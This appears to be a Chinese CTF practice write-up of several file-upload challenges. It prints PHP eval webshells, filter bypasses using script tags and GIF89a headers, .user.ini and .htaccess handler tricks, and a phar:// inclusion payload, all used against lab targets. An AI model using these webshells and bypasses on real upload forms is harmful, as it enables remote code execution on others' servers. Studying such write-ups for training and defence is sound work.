文件上传小练
[SUCTF 2019]CheckIn
打开后,是一个文件上传的界面,很明显是文件上传漏洞
经尝试后发现后缀名不能是php,php被过滤;含有<?
的文件被过滤
所以我们将一句话木马进行一些修改
<script language="php">eval($_GET['shell']);</script>
修改后再次上传shell.php
exif_imagetype
判断一个图像的类型
exif_imagetype ( string $filename ) : int
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
说明题目会检查上传的文件的头部的一些部分来判断是否为图片
使用GIF89a图片头文件欺骗
将php内容改为
GIF89a
<script language="php">eval($_POST['shell']);</script>
接下来介绍一个新东西.user.ini
具体在这里我就不说了,参考.user.ini文件构成的PHP后门
其实和.htaccess也有类似之处
auto_append_file,指定一个文件,自动包含在要执行的文件前,而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=shell.php
shell.php
所以,我们可利用.user.ini来包含文件
先上传.user.ini
GIF89a
auto_prepend_file=shell.gif
加上GIF89a来绕过头部的检查
然后再上传shell.gif
GIF89a
<script language="php">eval($_POST[shell']);</script>
最后蚁剑连接
[极客大挑战 2019]Upload
首先我们先提交一个一句话木马试试
<?php eval($_POST['123'])?>
提示格式不对
我们bp抓包更改文件格式,将Content-Type后面更改为image/jpeg,同时更改文件后缀为php5,发现被过滤了
接着试试常见的几种绕过后缀的文件格式:php,php3,php4,php5,phtml.pht
发现只有phtml没被过滤,所以我们将后缀改为phtml上传
接着又发现上传的文件里面不能包含有<?所以我们将其替换为
GIF89a?关于GIF89a可以参考GIF89a图片头文件欺骗 - IT使者 - 博客园 (cnblogs.com)这篇文章
所以最终的一句话木马为
GIF89a? <script language="php">eval($_REQUEST[123])</script>
接着抓包上传即可
成功
然后猜测图片保存的路径
http://4c9aed77-7f60-4d19-8eae-c6ae4423a79c.node4.buuoj.cn/upload/shell.phtml
正确,然后用蚁剑连接即可
密码就是request里面的
flag在根文件里面
完成
[ACTF2020 新生赛]Upload
首先上传一个php文件,发现不行。
接着我们上传一个png文件,然后将其在bp里改成php文件,发现php也不行
最后尝试发现phtml可以绕过
最后用蚁剑连接就可以了,flag在根目录里面
[MRCTF2020]你传你🐎呢
先上传一个php文件,果然不行
接着写个.htaccess文件去把上传的文件解析成php文件
.htaccess内容
<FilesMatch "ceshi">
SetHandler application/x-httpd-php
</FilesMatch>
先上传.htaccess文件(这里说一下,要记得把Contene-Type改为imag/jpeg,后面都要改)
成功,接着上传ceshi.txt
ceshi.txt内容
<?php @eval($_POST['123']);?>
上传成功,返回了一个位置,访问它
没回显错误就说明上传成功了
最后用蚁剑连接即可,密码123,flag在根目录下
[GXYCTF2019]BabyUpload
还是先尝试一下,直接上传php文件
这样很多绕过方式都不好使了,
试着上传图片试试
上传太露骨了,是对Content-Type的限制,将其改为image/jpeg即可绕过
尝试上传一个图片🐎
看来过滤了<?标签
可以这样绕过
<script language="php">eval($_POST['mochu7']);</script>
文件后缀可以用.htaccess文件绕过
先上传一个.htaccess文件
成功,接着上传图片马
成功上传,得到地址,访问
无错误回显,说明上传成功,最后蚁剑连接即可得到flag
phar??
利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)
考点:
1.phar协议
2.本地文件包含
查看源码
include.php
查看源码
同时告诉了一个参数:file
尝试随便包含一下
仔细查看报错他会在你包含的文件后面加上一个.php
没法上传php文件
可以上传jpg文件
获取到的地址也能访问
简单思路
利用文件包含来触发文件上传的漏洞
这里可以先使用伪协议来读源码
?file=php://filter/read=convert.base64-encode/resource=include
include.php
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>
过滤了一些东西,然后在末尾加了.php
upload.php
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
白名单过滤
然后就可以开始尝试了
创建一个1.php,内容为<?php phpinfo();?>
,然后压缩成压缩包,之后改后缀为jpg,然后上传
payload
include.php?file=phar://upload/1.jpg/1
接下来改下内容重新上传即可
2.php
<?php system('cat /flag'); ?>
[WUSTCTF2020]CV Maker
打开界面,没有什么思路,看到有注册选项,先注册,然后登录,发现有个上传头像
,那肯定就是在这里注入了
直接’空内容‘点击上传
exif_imagetype函数,判断文件头是否是图片。
那么我们直接上传一个shell.php,利用GIF89a就能绕过了,内容为
GIF89a
<script language="php">eval($_POST['shell']);</script>
上传成功,得到图片位置
最后利用蚁剑连接,flag还是在根目录下
结束